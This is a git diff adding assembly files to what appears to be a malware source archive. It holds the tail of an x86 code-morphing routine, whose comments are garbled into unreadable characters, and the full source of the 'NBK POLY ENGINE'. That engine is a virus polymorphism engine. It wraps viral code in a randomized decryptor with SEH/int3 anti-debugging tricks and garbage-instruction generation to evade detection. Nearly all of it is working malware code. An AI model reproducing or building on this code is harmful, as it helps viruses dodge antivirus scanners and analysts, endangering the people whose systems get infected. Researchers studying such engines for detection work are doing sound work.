edi++ ;::::::::::::::::::::::::::::::::::::+ ; �������� ����+ ; Loop 1+ @_loop_1:++ ;::::::::::::::::::::::::::::::::::::+ ; ������ ������ � ����������+ ; IN ESI == Current Code Offset+ ; OUT EAX == Instruction Length+ call c_Catchy++ ;:::::::::::::::::::::::::::::::::::::+ ; ������ ������ � ������ � ����������+ mov [ecx].dwOldAddress, esi+ mov [ecx].dwLength, eax++ ;::::::::::::::::::::::::::::::::::::+ ; �������� �������� ������ ������ �� �������+ ; ��� ���������� �� ������� ��������� 00Fh+ ; � ������ � +10h � �������� ������ ������+ ; ������:+ ; ���� :00000000: 74 30+ ; 0F +10 30 00 00 00+ ; �����:00000000: 0F 84 30 00 00 00+ cmp byte ptr [esi], 070h+ jl @F+ cmp byte ptr [esi], 07Fh+ ja @F+ push eax+ mov al, 00Fh+ stosb++ movzx eax, byte ptr [esi]+ add eax, 10h+ stosd++ ;:::::::::::::::::::::::::::::::::::::::+ ; ���������� ����� ���� ��������� ������+ push esi+ call get_jump_address++ ;::::::::::::::::::::::::+ ; ������ ������ � ������+ mov [ecx].dwJumpAddress, eax++ pop eax++ ;::::::::::::::::::::::::::::::::::::+ ; �������� � ������ ������� ����+ ; ������ 00Fh XXh imm32, �.�. ����� 6+ ; ��� XX � [80h..8Fh]+ add dwTotalCodeSize, 6+ ;::::::::::::::::::::::::::::::::::::+ ; ��������� ������� ���������� ������+ ; ��������� � ��������� ����������+ jmp @_next_inst_++ @@:+ ;::::::::::::::::::::::::::::::::::::+ ; ������...+ ; JMP imm8 -> JMP imm32+ ; ������+ ; ���� : 00000000: EB 33+ ; �����: 00000000: E9 33 00 00 00+ cmp byte ptr [esi], 0EBh+ jne @F+ push eax++ mov al, 0E9h+ stosb+ xor eax, eax+ stosd++ ;:::::::::::::::::::::::::::::::::::::::+ ; ���������� ����� ���� ��������� ������+ push esi+ call get_jump_address++ ;::::::::::::::::::::::::+ ; ������ ������ � ������+ mov [ecx].dwJumpAddress, eax++ pop eax+ ;:::::::::::::::::::::::::::::::+ ; �������� � ������ ������� ����+ ; ������ E9 imm32, �.�. ����� 5+ add dwTotalCodeSize, 5+ jmp @_next_inst_+ ;::::::::::::::::::::::::::::::::::::+++ @@:+ ;::::::::::::::::::::::::::::::::::::+ ; �������� �� JMP imm32+ cmp byte ptr [esi], 0E9h+ jne @F++ push eax+ push esi+ call get_jump_address+ mov [ecx].dwJumpAddress, eax+ pop eax+ jmp @_replace_instr_+ ;::::::::::::::::::::::::::::::::::::++ @@:+ ;::::::::::::::::::::::::::::::::::::+ ; �������� �� CALL+ cmp byte ptr [esi], 0E8h+ jne @F++ push eax+ push esi+ call get_jump_address+ mov [ecx].dwJumpAddress, eax+ pop eax+ jmp @_replace_instr_+ ;::::::::::::::::::::::::::::::::::::+++ @@:+ ;::::::::::::::::::::::::::::::::::::+ ; 00Fh XX imm32+ cmp byte ptr [esi], 00Fh+ jne @F+ cmp byte ptr [esi + 1], 080h+ jl @F+ cmp byte ptr [esi + 1], 08Fh+ ja @F+ push eax+ push esi+ call get_jump_address+ mov [ecx].dwJumpAddress, eax+ pop eax+ ;::::::::::::::::::::::::::::::::::::++ @@:++@_replace_instr_:+ ;::::::::::::::::::::::::::::::::::::::::::+ ; ��������� ���������� � ����� ������.+ ; ���� ��� ����������� � ��� ������+ ; ���� �� �� ������ ������������ ����������+ push esi+ push ecx++ mov ecx, eax+ rep movsb++ pop ecx+ pop esi++ ; ������� � ������ ������� ����+ ; ������ ������� ����������+ add dwTotalCodeSize, eax++ ;::::::::::::::::::::::::::::::::::::+ ; ���� ������� ���� �� �������� ������� ���������� �� ����+@_next_inst_:+ ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::+ ; ���������� ��� ����������� NOP+ ; ��� ����� ���������� ���+ ; ������ "�������" ������������+ ; ����:+ ;--------------+ ; push eax+ ; pop eax+ ;--------------+ ; mov eax, eax+ ;--------------+ ; � �.�.+ push eax+ mov al, 90h+ stosb+ pop eax++ ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::+ ; �������� ����� ������ ���� �� 1 (������ ���������� NOP)+ ; ��� �� ���� ������ ��������� ���� "������" ���+ ; ����� ����� ��������� � dwTotalCodeSize ��� ����� ������(!)+ add dwTotalCodeSize, 1++ ;::::::::::::::::::::::::::::::::::::+ ; ������� � ��������� ����������+ add esi, eax++ ;::::::::::::::::::::::::::::::::::::+ ; ������� � ���������� ��������+ ; � ����� ������� � ���������� �������+ add ecx, sizeof _OPCODE++ ;::::::::::::::::::::::::::::::::::::+ ; ������� ����� ����� � ��������� ����������+ mov [ecx].dwNewAddress, edi+++ ;::::::::::::::::::::::::::::::::::::+ ; ������� �� int 3+ ; ��� ������ ��� ��� ����������....+ ; � ������������� ��� ��� ������ ��� ������.+ cmp byte ptr [esi], 0CCh+ jne @_loop_1+ ; End Loop 1+ ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::++ ;::::::::::::::::::::::::::::::::::::+ ; ������ ��� ������ � ���������� ����������+ mov [ecx].dwOldAddress, 0+++++;::::::::::::::::::::::::::::::::::::::::+; ������ ���� :::::::::::::::::::::::::::+;::::::::::::::::::::::::::::::::::::::::+ mov ecx, pOpcodes+ @_loop_2:+ ;::::::::::::::::::::::::::::::::::::::::+ ; ���� ���������� �������� ������� ��� �������+ ; �� dwJumpAddress != 0 (!)+ cmp [ecx].dwJumpAddress, 0+ je @F+ ;::::::::::::::::::::::::::::::::::::::::+ ; ������� ����� ����� ����� ���� ������+ ; ��������� ������ ��� �����+ push pOpcodes+ push [ecx].dwJumpAddress+ call get_new_jump_address++ ;::::::::::::::::::::::::::::::::::::::::+ ; �������� ��������� �� ����.+ ; �� ���� ��� �������� ���� �� ������+ ; ��� EAX (���� ���� ��� �� ������ dwCodeAddress ��� ����������)+ ; ������� �� ����� ��������� ����+ ; � ��� 2 ������� ������, �� ��� ����������+ ; ������ �� �������� :)))+ cmp eax, 0+ je @F+ ;::::::::::::::::::::::::::::::::::::::::++ ;::::::::::::::::::::::::::::::::+ ; �������� ����� ����� ����������+ ; ����� �������� �� �����+ mov edx, [ecx].dwNewAddress+ ;:::::::::::::::::::::::::+ ; ������� �������� ������+ ; 00Fh XXh imm32+ cmp byte ptr [edx], 00Fh+ je @_0F_XX_imm32+ ;:::::::::::::::::::::::::::+ ; ������� ����������� ������+ ; JMP imm32+ cmp byte ptr [edx], 0E9h+ je @_XXX_imm32_+ ;::::::::::::::::::::::+ ; ����� (CALL imm32)+ cmp byte ptr [edx], 0E8h+ je @_XXX_imm32_+ ;::::::::::::::::::::::+ jmp @F++ ;::::::::::::::::::::::::::::::::::::::+ ; 00Fh XXh imm32+ ; ��� ����� �������� ������������ imm32+ ; ��� ��������� �� �������� [����� ������ + 2]+ ; ������:+ ; 00Fh 84 imm32 ; JE imm32+ ; 00Fh 85 imm32 ; JNE imm32+@_0F_XX_imm32:+ cmp eax, [ecx].dwNewAddress+ jle @_less_or_equal_1+ push eax+ sub eax, [ecx].dwNewAddress+ sub eax, 6+ mov edx, [ecx].dwNewAddress+ mov dword ptr [edx + 2], eax+ pop eax+ jmp @F++ @_less_or_equal_1:+ push eax+ mov edx, [ecx].dwNewAddress+ sub edx, eax+ neg edx+ sub edx, 6+ mov eax, [ecx].dwNewAddress+ mov dword ptr [eax + 2], edx+ pop eax+ jmp @F++ ;:::::::::::::::::::::::::::::::::::::::::::::+ ; �������� imm32 � ����������� JMP � CALL+ ; ���� � ����, ������������� ��� ���������+ ; ������ ������ � ��� ����� ������� �����+ ; imm32 ��������� �� �������� [����� ������ + 1]+ ; ������:+ ; E9 imm32+ ; E8 imm32+ ; :)+@_XXX_imm32_:+ cmp eax, [ecx].dwNewAddress+ jle @_less_or_equal_2+ push eax+ sub eax, [ecx].dwNewAddress+ sub eax, 5+ mov edx, [ecx].dwNewAddress+ mov dword ptr [edx + 1], eax+ pop eax+ jmp @F++ @_less_or_equal_2:+ push eax+ mov edx, [ecx].dwNewAddress+ sub edx, eax+ neg edx+ sub edx, 5+ mov eax, [ecx].dwNewAddress+ mov dword ptr [eax + 1], edx+ pop eax+ jmp @F+ ;::::::::::::::::::::::::::::::::::::::::+++ @@:+ ;::::::::::::::::::::::::::::::+ ; ������� � ��������� ��������+ ; ���������� ������ :)+ add ecx, sizeof _OPCODE++ ;:::::::::::::::::::::::::::::::::::::+ ; ��������� �� ��� ��� ����+ ; �� ��������� �� ����� �������+ ; �� ��� ��������� ���� � dwOldAddress+ cmp [ecx].dwOldAddress, 0+ jne @_loop_2++ ;::::::::::::::::::::::::::::::::::::::::+ ; ��������� ������ ��� ��������+ invoke VirtualFree, pOpcodes, NULL, MEM_RELEASE++ @_exit_:++ mov eax, dwTotalCodeSize+ ret+MorphCode endp++.data+ ; ����� ���� ������ ������������� ���+ dwOutputBuffer dd 0++ ; ������ ������+ dwOutputBufferSize dd 0++ ; ���-�� ���� ���������� � ����+ dwBytesWritten dd 0++ ; ��� ������� � ������� ������� ������������� ���+ szFileName db 'morphed_code_dump_raw.bin',0++ ; ����� ��� MessageBoxA+ szComplete db 'Complete! :)', 0+.code++start:++ ;:::::::::::::::::::::::::::::::::::::::::::::::::::::+ ; ������������� ������ ��� �������������� ����+ ; ������ ������ ��������� ��������� ����+ ; �� ������� �� ���-�� ���� ��� ����������� �������+ invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE+ mov dwOutputBuffer, eax++ ;::::::::::::::::+ ; ������ ���.....+ invoke MorphCode, offset test_code, dwOutputBuffer+ mov dwOutputBufferSize, eax++ ;::::::::::::::::::::::::::::::::+ ; ������ ������������� ��� � ����+ invoke CreateFile, offset szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0+ push eax+ invoke WriteFile, eax, dwOutputBuffer, dwOutputBufferSize, addr dwBytesWritten, NULL+ call CloseHandle++ ;:::::::::::::::::+ ; ��������� ������+ invoke VirtualFree, dwOutputBuffer, NULL, MEM_RELEASE++ ;:::::::::::::::::+ ; ������� :)+ invoke MessageBoxA, 0, offset szComplete, 0, MB_ICONINFORMATION++ ;:::::::::::::::::+ ; �����)+ xor eax, eax+ ret+end start++; #########################################################################diff --git a/Malwares/Win32/win32 Engines/assembly/Virus.Win32.NBKPE.txt b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.NBKPE.txtnew file mode 100644index 0000000..f600cbb--- /dev/null+++ b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.NBKPE.txt@@ -0,0 +1,1171 @@+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; NBK POLY ENGINE *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++engine:++; entry:+; esi = offset 2 viral code+; edi = offset 2 put code (virus size + 700 bytes, at least)+; ebx = RVA + Image Base of edi+; ecx = size of viral code in 'dwords'++pushad ;++mov dword ptr [ebp+ofsvir],esi;+mov dword ptr [ebp+len],ecx ;+mov [ebp+_RVA],ebx ; Save RVA+mov [ebp+all_ini],edi ; Save initial pointer+ ; (runtime offsets)+ ;+xor dl,dl ; erase some flags+xor bl,bl ;+ ;+call SEH ; SEH :-)+ ;+call CRYPT ; POLY decryptor++popad+ret+++SEH proc++pushad++; 1) push offset 6+; 2) xor ebx,ebx+; edx,edx+; eax,eax+; 3) push dword ptr fs:[0] ;6467FF360000+; fs:[eax] ;64FF30 - 48D+; fs:[ebx] ;64FF33 - 51D+; fs:[edx] ;64FF32 - 50D+; 4) mov dword ptr fs:[0],esp ;646789260000+; fs:[eax] ;648920 - 32D+; fs:[ebx] ;648923 - 35D+; fs:[edx] ;648922 - 34D+; 5) int 03h+; 6) untrace+; 7) mov esp,dword ptr [esp+8]+; 8) xor ebx,ebx+; edx,edx+; eax,eax+; 9) pop dword ptr fs:[0]+; fs:[ebx]+; fs:[edx]+; fs:[eax]+; 10) add esp,4++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; CHOOSE REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+@@1: ;+in al,40H ;+cmp al,0C0H ; eax = 192 = 48+je put_reg ;+cmp al,0DBH ; ebx = 219 = 51+je put_reg ;+cmp al,0D2H ; edx = 210 = 50+je put_reg ;+cmp al,00H ; no reg ?+je put_reg ;+jmp @@1 ;+put_reg: ;+mov byte ptr [ebp+xor_reg],al ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++call chg_garble++mov [ebp+ofs ini_SEH],edi++@@30:++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; PUSH mem PUSH reg *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+in al,40H ;+and al,0001b ;+jz @@21 ;+ ;+mov al,68H ; generate PUSH+stosb ;+ ;+mov [ebp+ofs off1],edi ; Save this offset+xor eax,eax ;+stosd ;+ ;+jmp short @@22 ;+ ;+@@21: ;+ ;+call mov_reg ;+sub al,08H ;+stosb ;+push eax ;+mov [ebp+ofs off1],edi ;+xor eax,eax ;+stosd ;+pop eax ;+add al,08H ;+mov dl,99H ;+mov bl,99H ;+call push_pop ;+xor dl,dl ;+xor bl,bl ;+ ;+@@22: ;+ ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++call chg_garble++@@31:++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; XOR ? SUB -> REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+mov bl,byte ptr [ebp+xor_reg] ;+or bl,bl ;+jz @@2 ;+ ;+in al,40H ;+and al,0001H ;+jz @@19 ;+ ;+mov al,33H ; XOR+stosb ;+ ;+jmp short @@20 ;+ ;+@@19: ;+ ;+mov al,2BH ; SUB+stosb ;+ ;+@@20: ;+ ;+mov al,bl ;+stosb ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++@@2:++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; PUSH DWORD PTR FS:[]*+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++mov al,64H+stosb++mov bl,byte ptr [ebp+xor_reg]+or bl,bl+jz @@3++mov al,0FFH+stosb++mov al,bl++cmp al,0C0H ; eax+je @@4++cmp al,0DBH ; ebx+je @@5++cmp al,0D2H ; edx+je @@6++jmp short $++@@3: ; 67FF360000 fs:[0]+mov eax,0036FF67H+stosd+xor al,al++@@7:++mov cl,al ; Save this reg in cl+stosb+jmp @@8++@@4:++mov al,30H+jmp @@7++@@5:++mov al,33H+jmp @@7++@@6:++mov al,32H+jmp @@7++@@8:++;call chg_garble ; error++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; MOV DWORD PTR FS:[?],esp*+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++mov al,64H+stosb++mov bl,byte ptr [ebp+xor_reg]+or bl,bl+jz @@9 ; no regs++mov al,89H+stosb++mov al,cl ; Get used reg+sub al,10H ; ...+jmp @@10++@@9:++mov eax,00268967H ; 6789260000+stosd++xor al,al++@@10:++stosb++call chg_garble++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; EXCEPTION *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+mov al,0CCH ; int 03H+stosb ;+ ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++call chg_garble++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; UNTRACE *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+mov al,0E9H ;+stosb ;+ ;+call rnd ;+stosd ;+ ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++call chg_garble++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; MOV ESP,DWORD PTR [ESP+08]*+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+mov [ebp+ofs off6],edi ;++call chg_garble++mov al,08BH ;+stosb ;+in al,40H ;+and al,0001b ;+jz @@23 ;+mov ax,2464H ; 642408+stosw ;+mov al,08H ;+stosb ;+jmp short @@29 ;+@@23: ;+call mov_reg ;+push eax+cmp al,0C0H+je @@24+cmp al,0C1H+je @@25+cmp al,0C2H+je @@26+cmp al,0C3H+je @@27+jmp short $+@@24:+mov al,44H+jmp @@28+@@25:+mov al,4CH+jmp @@28+@@26:+mov al,54H+jmp @@28+@@27:+mov al,5CH+@@28:+stosb+mov ax,0824H+stosw+mov al,8BH+stosb+pop eax+add al,20H+stosb+@@29:+ ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++call chg_garble++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; XOR ? SUB -> REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+mov bl,byte ptr [ebp+xor_reg] ;+or bl,bl ;+jz @@11 ;+ ;+in al,40H ;+and al,0001H ;+jz @@16 ;+ ;+mov al,33H ; XOR+stosb ;+ ;+jmp short @@18 ;+ ;+@@16: ;+ ;+mov al,2BH ; SUB+stosb ;+ ;+@@18: ;+ ;+mov al,bl ;+stosb ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; POP DWORD PTR FS:[?]*+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+@@11: ;+ ;+mov al,64H ;+stosb ;+ ;+or bl,bl ;+jz @@12 ;+ ;+mov al,8FH ;+stosb ;+ ;+mov al,cl ;+sub al,30H ;+jmp @@13 ;+ ;+@@12: ;+ ;+mov eax,00068F67H ; 678F060000+stosd ;+ ;+xor al,al ;+@@13: ;+stosb ;+ ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++call chg_garble++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; ADD ESP,4 *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+in al,40H ;+and al,0001H ;+jz @@14 ;+ ;+mov ax,0C483H ;+stosw ;+ ;+mov al,04H ;+stosb ;+ ;+jmp short @@15 ;+ ;+@@14: ;+ ;+mov ax,0EC83H ;+stosw ;+ ;+mov al,0FCH ;+stosb ;+ ;+@@15: ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++call chg_garble++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+;mov [ebp+ofs wahoo],edi ;+ ;+mov eax,[ebp+ini_SEH] ;+sub eax,[ebp+all_ini] ;+mov edx,eax ;+ ;+mov eax,[ebp+off6] ;+sub eax,[ebp+off1] ;+ ;+mov ebx,[ebp+_RVA] ;+add ebx,edx ;+add ebx,eax ;+add ebx,3 ;+ ;+mov eax,[ebp+ofs off1] ;+mov [eax],ebx ;+ ;+mov dr0,edi ;+popad ;+mov edi,dr0 ;+ret ;+ ;+ini_SEH dd 0 ;+;wahoo dd 0 ;+;siz dd 0 ;+off1 dd 0 ;+off6 dd 0 ;+all_ini dd 0 ;+xor_reg db 0 ;+_RVA dd 0 ;+len dd 0 ;+ofsvir dd 0 ;+ ;+SEH endp ;+ ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; GARBAGE GENERATOR *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+garbage proc ;+ ;+push eax ;+push esi ;+xor eax,eax ;+in al,40H ;+and al,0001b ;+jz @@1 ;+in al,40H ;+not al ;+jmp short @@2 ;+@@1: ;+in al,40H ;+@@2: ;+and al,00111100b ;+lea esi,[ebp+ofs GARBAGE_TABLE0]+add esi,eax ;+mov esi,dword ptr [esi] ;+add esi,ebp ;+call esi ;+pop esi ;+pop eax ;+ret ;+ ;+garbage endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; GARBAGE GENERATOR *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+garbage1 proc ;+push eax ;+push esi ;+xor eax,eax ;+in al,40H ;+and al,1100b ;+lea esi,[ebp+ofs GARBAGE_TABLE1]+add esi,eax ;+mov esi,dword ptr [esi] ;+add esi,ebp ;+call esi ;+pop esi ;+pop eax ;+garbage1 endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; GARBAGE TABLE 0 *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+GARBAGE_TABLE0: ;+ ;+dd ofs mov_eax ;+dd ofs mov_ah ;+dd ofs add_al ;+dd ofs sub_ebx ;+dd ofs shl_reg_cl ;+dd ofs xchg_edx ;+dd ofs or_reg_reg ;+dd ofs push_pop ;+dd ofs test_eax ;+dd ofs xor_reg_num ;+dd ofs jump ;+dd ofs neg_reg ;+dd ofs adc_reg ;+dd ofs adc_reg_num ;+dd ofs and_reg_num ;+dd ofs bt_reg_reg ;+ ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; GARBAGE TABLE 1 *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+GARBAGE_TABLE1: ; preserv regs+ ;+dd ofs jump ;+dd ofs mov_dr0 ;+dd ofs cmp_eax ;+dd ofs test_eax ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; CHG_GARBLE *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+chg_garble proc ;+push eax ;+call garbage ;+in al,40H ;+and al,0001b ;+jnz @@38 ;+call garbage ;+in al,40H ;+and al,0001b ;+jz @@38 ;+call garbage ;+call garbage ;+in al,40H ;+and al,0001b ;+jz @@37 ;+@@38: ;+call garbage ;+@@37: ;+pop eax ;+ret ;+chg_garble endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; CHG_GARBLE *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+chg_garble1 proc ;+push eax ;+call garbage1 ;+in al,40H ;+and al,0001b ;+jnz @@38 ;+call garbage1 ;+in al,40H ;+and al,0001b ;+jz @@38 ;+call garbage1 ;+call garbage1 ;+in al,40H ;+and al,0001b ;+jz @@37 ;+@@38: ;+call garbage1 ;+@@37: ;+pop eax ;+ret ;+chg_garble1 endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; MOV EAX, ? *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+mov_eax proc ;+push eax ;+in al,40H ;+and al,0001b ;+jz @@1 ;+mov al,8BH ;+cmp byte ptr [edi-2],al ;+je @@1 ;+stosb ;+call mov_reg ;+stosb ;+jmp @@2 ;+@@1: ;+mov al,0B8H ;+cmp byte ptr [edi-5],al ;+je @@2 ;+stosb ;+call rnd ;+stosd ;+@@2: ;+pop eax ;+ret ;+mov_eax endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; AL = C0, C1, C2, C3 *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+mov_reg proc ;+@@1: ;+in al,40H ;+cmp al,0C0H ;+je @@2 ;+cmp al,0C1H ;+je @@2 ;+cmp al,0C2H ;+je @@2 ;+cmp al,0C3H ;+je @@2 ;+jmp @@1 ;+@@2: ;+ret ;+mov_reg endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; MOV AH,?? *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+mov_ah proc ;+push eax ;+mov al,0B4H ;+cmp byte ptr [edi-2],al ;+je @@1 ;+stosb ;+in al,40H ;+stosb ;+@@1: ;+pop eax ;+ret ;+mov_ah endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; ADD AL,REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+add_al proc ;+push eax ;+mov al,2 ;+stosb ;+call mov_reg ;+stosb ;+@@1: ;+pop eax ;+ret ;+add_al endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; SUB EBX,REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+sub_ebx proc ;+push eax ;+mov al,2BH ;+stosb ;+call mov_reg ;+add al,18H ;+stosb ;+@@1: ;+pop eax ;+ret ;+sub_ebx endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; XCHG EDX,REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+xchg_edx proc ;+push eax ;+mov al,87H ;+stosb ;+@@2: ;+call mov_reg ;+cmp al,0C0H ;+je @@2 ;+add al,10H ;+stosb ;+@@1: ;+pop eax ;+ret ;+xchg_edx endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; MOV DR0,REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+mov_dr0 proc ;+push eax ;+mov ax,230FH ;+stosw ;+call mov_reg ;+stosb ;+@@1: ;+pop eax ;+ret ;+mov_dr0 endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; TEST EAX,REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+test_eax proc ;+push eax ;+mov al,85H ;+stosb ;+call mov_reg ;+stosb ;+pop eax ;+ret ;+test_eax endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; CMP EAX,REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+cmp_eax proc ;+push eax ;+mov al,3BH ;+stosb ;+call mov_reg ;+stosb ;+pop eax ;+ret ;+cmp_eax endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; NEG REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+neg_reg proc ;+push eax ;+mov al,0F7H ;+cmp byte ptr [edi-2],al ;+je @@1 ;+stosb ;+call mov_reg ;+add al,18H ;+stosb ;+@@1: ;+pop eax ;+ret ;+neg_reg endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; ADC REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+adc_reg proc ;+push eax ;+mov al,13H ;+stosb ;+call mov_reg ;+stosb ;+pop eax ;+ret ;+adc_reg endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; ADC REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+adc_reg_num proc ;+push eax ;+mov al,81H ;+stosb ;+@@2: ;+call mov_reg ;+cmp al,0C0H ;+je @@2 ;+add al,10H ;+stosb ;+call rnd ;+stosd ;+pop eax ;+ret ;+adc_reg_num endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; AND REG,???? *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+and_reg_num proc ;+push eax ;+mov al,81H ;+cmp byte ptr [edi-6],al ;+je @@1 ;+stosb ;+@@2: ;+call mov_reg ;+cmp al,0C0H ;+je @@2 ;+add al,20H ;+stosb ;+call rnd ;+stosd ;+@@1: ;+pop eax ;+ret ;+and_reg_num endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; BT REG,REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+bt_reg_reg proc ;+push eax ;+cmp byte ptr [edi-3],0FH ;+je @@1 ;+mov ax,0A30FH ;+stosw ;+call mov_reg ;+stosb ;+@@1: ;+pop eax ;+ret ;+bt_reg_reg endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; OR REG,REG *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+or_reg_reg proc ;+push eax ;+mov al,0AH ;+stosb ;+call mov_reg ;+stosb ;+pop eax ;+ret ;+or_reg_reg endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; XOR REG16,?? *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+xor_reg_num proc ;+push eax ;+mov ax,8166H ;+stosw ;+@@2: ;+call mov_reg ;+cmp al,0C0H ;+je @@2 ;+add al,30H ;+stosb ;+call rnd ;+stosw ;+pop eax ;+ret ;+xor_reg_num endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; SHL E?X,CL *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++shl_reg_cl proc ;+push eax ;+mov al,0D3H ;+cmp byte ptr [edi-2],al ;+je @@1 ;+stosb ;+call mov_reg ;+add al,20H ;+stosb ;+@@1: ;+pop eax ;+ret ;+shl_reg_cl endp 